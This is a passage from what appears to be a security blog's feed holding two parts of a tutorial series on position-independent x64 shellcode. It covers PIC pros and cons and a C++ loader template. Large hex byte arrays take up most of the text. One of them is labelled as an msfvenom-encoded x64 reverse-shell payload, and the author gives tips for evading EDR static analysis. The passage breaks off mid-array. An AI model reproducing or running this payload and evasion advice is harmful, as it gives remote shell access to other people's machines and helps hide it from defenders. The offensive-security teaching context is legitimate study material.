class="p">,</span> <span class="mh">0x4c</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x45</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xb8</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x10</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xd6</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xb8</span><span class="p">,</span> <span class="mh">0xfa</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0x08</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xc1</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xd4</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x5a</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0xfa</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x49</span><span class="p">,</span> <span class="mh">0x89</span><span class="p">,</span> <span class="mh">0xd6</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x31</span><span class="p">,</span> <span class="mh">0xc0</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x85</span><span class="p">,</span> <span class="mh">0xc9</span><span class="p">,</span> <span class="mh">0x74</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc2</span><span class="p">,</span> <span class="mh">0xe2</span><span class="p">,</span> <span class="mh">0xef</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xe6</span>
<span class="p">};</span>
</code></pre></div></div>

<p>I initially intended to go deeper on PIC coding, extending this into a series / multiple parts, but I will likely have to reserve deeper explorations into PIC coding some other time.  Perhaps as a course or something.  I’m considering a full on x64 assembly and shellcoding course with videos, code, the works.  If I pull it off, I’ll definitely go deeper on PIC shellcode.  Until next time, thanks all!</p>

<h2 id="anyrun-results"><strong><em>ANY.RUN Results</em></strong></h2>

<p><img width="1537" height="637" alt="image" src="https://github.com/user-attachments/assets/5c3e7b60-6db7-4da3-8e96-75795cf3be7e" /></p>

<p><a href="https://app.any.run/tasks/c940314e-6d43-4e22-834e-4d3125afc4fc">Full Sandbox Analysis</a></p>

<div style="text-align: right;">
Sponsored by:<br />
<img src="https://github.com/user-attachments/assets/111a0bb6-66e1-43b0-9a0a-5ce093f4b65e" alt="Sponsor logo" style="max-width: 200px;" />
</div>]]></content><author><name>R.B.C (g3tsyst3m)</name></author><category term="Shellcode" /><category term="PIC" /><category term="x64 assembly" /><category term="2025" /><category term="g3tsyst3m" /><category term="x64 shellcode" /><category term="PIC shellcode" /><summary type="html"><![CDATA[Let’s PIC back up where we left off shall we? 😸 I gave you the framework for developing PIC friendly shellcode back in Part 1. We went from the original code written in a high level language (C++), down to a pseudo low level representation of that C++ code. I say pseudo low level because after our C++ code, we then used a combination of assembly and externs to locate the memory address of HeapCreate and HeapAlloc. This is sort of like inputting a cheat code, since we don’t have to resort to walking the PE headers, specifically the PE export table, to locate our APIs. However, this time around we will NOT be using externs. We will be locating TEB/PEB, walking the familiar PE headers, and finding our APIs in question manually without help from externs. We will also hash our APIs to make them easier to lookup and lower our static analysis footprint. Let’s dive in!]]></summary></entry><entry><title type="html">PIC Shellcode from the Ground up - Part 1</title><link href="https://g3tsyst3m.com/shellcode/pic/PIC-Shellcode-from-the-Ground-up-Part-1/" rel="alternate" type="text/html" title="PIC Shellcode from the Ground up - Part 1" /><published>2025-11-05T00:00:00+00:00</published><updated>2025-11-05T00:00:00+00:00</updated><id>https://g3tsyst3m.com/shellcode/pic/PIC%20Shellcode%20from%20the%20Ground%20up%20-%20Part%201</id><content type="html" xml:base="https://g3tsyst3m.com/shellcode/pic/PIC-Shellcode-from-the-Ground-up-Part-1/"><![CDATA[<p>Have you ever wondered how the popularized PIC (position independent code) actually works?  I can answer that question alongside you with a resounding YES! You are exposed to PIC based shellcode constantly in today’s widely used C2 platforms.  Then there’s the popular donut utility, which can convert .NET assemblies to PIC friendly shellcode.  But what about from scratch, and I mean producing a template in C++ and then wrtiting x64 assembly code modeled after your C++ program?  Also why should we?  Well, while I admit I can’t find many tutorials for writing PIC from scratch, I found a plethora of definitions and explanations for what PIC accomplishes.  I don’t want to reinvent the wheel too much here, so suffice to say, here are the advantages of using PIC in my mind.  I’ll also include frustrations in the opinion of yours truly. 😸</p>

<ul>
  <li><strong>Necessity for ASLR Compatibility</strong>: Modern operating systems employ Address Space Layout Randomization (ASLR) to randomize memory addresses, making fixed-location shellcode unreliable or non-functional; PIC-friendly shellcode avoids absolute addresses, ensuring it executes correctly regardless of where it’s loaded in memory.</li>
  <li><strong>Enhanced Portability Across Environments</strong>: PIC shellcode doesn’t require relocation or patching at runtime, allowing it to run seamlessly in diverse scenarios like buffer overflows, heap sprays, or reflective DLL injection without architecture-specific tweaks, reducing development complexity.</li>
</ul>

<p>Conversely, PIC is frustrating for these three reasons (and many more I’m sure! 😸):</p>

<ul>
  <li><strong>Restricted Data Storage and Access</strong>: Unlike non-PIC code, PIC shellcode cannot rely on a static .data section for variables or constants due to potential relocation; developers must push values onto the runtime stack or use relative offsets (e.g., from RSP), increasing code size and complexity while risking stack overflows or alignment issues during execution.</li>
  <li><strong>Dynamic API Resolution Overhead</strong>: Direct imports from DLLs are impossible without base addresses, forcing runtime resolution techniques like walking the PEB/LDR structures or hashing API names, which adds significant instruction count (often 100+ bytes) and can fail in hardened environments with API set restrictions or obfuscation.</li>
  <li><strong>Limited Control Flow and Branching</strong>: Jumps and calls must use relative offsets (e.g., RIP-relative in x64), complicating conditional logic or loops that span large distances; this often leads to longer, less efficient code and errors in position-sensitive constructs like switch statements or error-prone disassembly during debugging.</li>
</ul>

<h2 id="the-c-template">The C++ Template</h2>

<p>So, we’ve got our work cut out for us, eh?  Well, I’m here to tell you it’s not so bad.  Then again, I write assembly for fun.  What’s that say about me? 😆  Let me go ahead and share our C++ template we will be building off of that will eventually execute fully via PIC friendly shellcode.  It’s fairly simple in design, and I intentionally coded it that way so this won’t be too difficult a pill to swallow.</p>

<p>We start with our <code class="language-plaintext highlighter-rouge">const uint8_t shellcode[]</code>.  I set this as read-only, using the <strong>const</strong> keyword / type qualifier, effectively making the shellcode immutable.  This is wise in my opinion as we don’t want EDR to immediately flag us just by glancing at our shellcode.  You would be surprised how much making your data read-only helps deter routine checks by EDR, especially static analysis.  I’ll keep talking but using the inline comments in the code itself, just FYI in case you want to keep following along as I walk through the C++ code 😸</p>

<div class="language-cpp highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="cp">#include</span> <span class="cpf">&lt;windows.h&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;cstdint&gt;</span><span class="cp">
#include</span> <span class="cpf">&lt;cstdio&gt;</span><span class="cp">
</span>
<span class="kt">int</span> <span class="nf">main</span><span class="p">()</span> <span class="p">{</span>
    <span class="c1">// ---- 1. Shellcode (rev shell x64) msfvenom encoded ----</span>
    <span class="k">const</span> <span class="kt">uint8_t</span> <span class="n">shellcode</span><span class="p">[]</span> <span class="o">=</span> <span class="p">{</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x23</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x8a</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x44</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0xc8</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0x88</span><span class="p">,</span> <span class="mh">0x06</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xc6</span><span class="p">,</span> <span class="mh">0xe2</span><span class="p">,</span> <span class="mh">0xf2</span><span class="p">,</span> <span class="mh">0x48</span><span class="p">,</span> <span class="mh">0x8d</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0x00</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0xe0</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0xa3</span><span class="p">,</span> <span class="mh">0xbb</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x36</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x21</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0xe4</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x19</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0x2f</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x7f</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xbe</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x02</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x11</span><span class="p">,</span> <span class="mh">0x6f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd6</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x34</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0xb0</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x67</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x85</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0xff</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x6b</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x50</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0x16</span><span class="p">,</span> <span class="mh">0x6a</span><span class="p">,</span> <span class="mh">0x82</span><span class="p">,</span> <span class="mh">0x26</span><span class="p">,</span> <span class="mh">0x8b</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5f</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x4f</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x57</span><span class="p">,</span> <span class="mh">0xdb</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x83</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x0d</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd0</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0x73</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x01</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x09</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x41</span><span class="p">,</span> <span class="mh">0xba</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x0e</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xed</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x20</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x0c</span><span class="p">,</span> <span class="mh">0x60</span><span class="p">,</span> <span class="mh">0x61</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0xbf</span><span class="p">,</span> <span class="mh">0xf3</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb6</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xef</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x70</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0x2c</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb7</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xa2</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0x24</span><span class="p">,</span> <span class="mh">0x75</span><span class="p">,</span> <span class="mh">0x54</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x7a</span><span class="p">,</span> <span class="mh">0xd3</span><span class="p">,</span> <span class="mh">0x38</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x9a</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x91</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xb9</span><span class="p">,</span> <span class="mh">0x5c</span><span class="p">,</span> <span class="mh">0x8c</span><span class="p">,</span> <span class="mh">0xb3</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x43</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x0b</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xaa</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0xca</span><span class="p">,</span> <span class="mh">0xf6</span><span class="p">,</span> <span class="mh">0x27</span><span class="p">,</span> <span class="mh">0x32</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xd2</span><span class="p">,</span> <span class="mh">0x97</span><span class="p">,</span> <span class="mh">0x13</span><span class="p">,</span> <span class="mh">0x51</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xeb</span><span class="p">,</span> <span class="mh">0x30</span><span class="p">,</span> <span class="mh">0x3e</span><span class="p">,</span> <span class="mh">0x37</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x04</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x39</span><span class="p">,</span> <span class="mh">0x5e</span><span class="p">,</span> <span class="mh">0x0a</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0xb1</span><span class="p">,</span> <span class="mh">0xaf</span><span class="p">,</span> <span class="mh">0x35</span><span class="p">,</span> <span class="mh">0x94</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x07</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x52</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xde</span><span class="p">,</span> <span class="mh">0x17</span><span class="p">,</span> <span class="mh">0x77</span><span class="p">,</span> <span class="mh">0x4b</span><span class="p">,</span> <span class="mh">0x95</span><span class="p">,</span> <span class="mh">0x53</span><span class="p">,</span> <span class="mh">0x3b</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0xb5</span><span class="p">,</span> <span class="mh">0x05</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x93</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0x03</span><span class="p">,</span> <span class="mh">0x1a</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x9b</span><span class="p">,</span> <span class="mh">0x1e</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x1f</span><span class="p">,</span> <span class="mh">0xda</span><span class="p">,</span> <span class="mh">0x92</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x2a</span><span class="p">,</span> <span class="mh">0x9f</span><span class="p">,</span> <span class="mh">0x6c</span><span class="p">,</span> <span class="mh">0xd5</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x86</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0x62</span><span class="p">,</span> <span class="mh">0x81</span><span class="p">,</span> <span class="mh">0x1b</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span class="mh">0x99</span><span class="p">,</span> <span class="mh">0xd8</span><span class="p">,</span> <span class="mh">0x5d</span><span class="p">,</span> <span class="mh">0x12</span><span class="p">,</span> <span class="mh">0xe9</span><span class="p">,</span> <span class="mh">0x5b</span><span class="p">,</span> <span class="mh">0xd4</span><span class="p">,</span> <span class="mh">0x4e</span><span class="p">,</span> <span class="mh">0x33</span><span class="p">,</span> <span class="mh">0xac</span><span class="p">,</span> <span 